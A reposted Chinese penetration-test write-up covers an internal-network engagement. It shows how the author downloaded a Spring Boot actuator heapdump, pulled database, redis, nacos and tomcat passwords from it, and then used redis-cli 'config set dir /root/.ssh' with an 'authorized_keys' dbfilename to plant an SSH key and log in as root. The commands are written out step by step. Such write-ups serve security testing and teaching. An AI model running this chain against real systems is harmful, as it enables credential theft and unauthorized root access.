转载于: 网安情报攻防站 李白你好 2023-01-09 08:00 发表于青海
免责声明
由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
一、前言
项目是内网环境下进行,所以通过vpn接入内网之后进行目标系统的测试。(信息泄露+redis写公钥)
二、Spring信息泄露
访问客户给的目标地址通过代理把流量转给了BurpSuite,然后插件就爆了一个spring的信息泄露。
spring信息泄露有很多路径,但是evn这种路径的密码基本上是加密的,会用星号进行脱敏,解密可以看这下面师傅写的文章(我没复现,因为我菜,只会玩heapdump)。
发现存在heapdump路径,访问/web/actuator/heapdump进行下载。
heapdump也叫堆转储文件,是java进程在某个时间点的内存快照,里面可能会包含数据库账号密码、shiro的key、阿里云的key等。
下载下来的heapdump文件,可以使用工具进行内容检索,下面为几个常用的heapdump查看工具。
输入password则可以查看携带password的字段。
在里面找到数据库root的密码,同时还有redis、nacos、tomcat的密码。没有找到shiro的key,不然运气好的话还能来个RCE。
第二个工具比较方便是因为一条命令他就会把有用的信息输出出来。
看起来比较舒服。
三、Redis写公钥
因为redis不出网,纯内网环境,同时我们是vpn接入不是在现场,路由的问题没办法反弹shell,所以用redis写公钥来进行下一步攻击。
1、 ssh-keygen -t rsa //执行生成key命令
2、(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt //将公钥写入txt
3、cat /root/.ssh/key.txt | redis-cli -h 172.16.198.244 -a redis -x set xxx //将.ssh目录下的公钥文件1.txt 通过redis-cli客户端写入到目标主机缓冲中,-a是因为redis存在密码,而不是未授权。
4、连接redis进行
redis-cli -h 172.16.198.244 -p 6379 -a redis //使用客户端登录目标
config set dir /root/.ssh //设置存储公钥路径,redis的备份路径
config get dir //查看是否设置成功
config set dbfilename "authorized_keys" //设置文件名称
save //保存
ps:也可以把id_rsa转换为PEM格式。
然后把生成的id_rsa文件导入到finalshell,用户名是root,即可连接。
导入成功之后使用该密钥就可以连接。
四、文章来源
文章作者:知识星球《网络安全情报攻防站-PowerShell_1》
|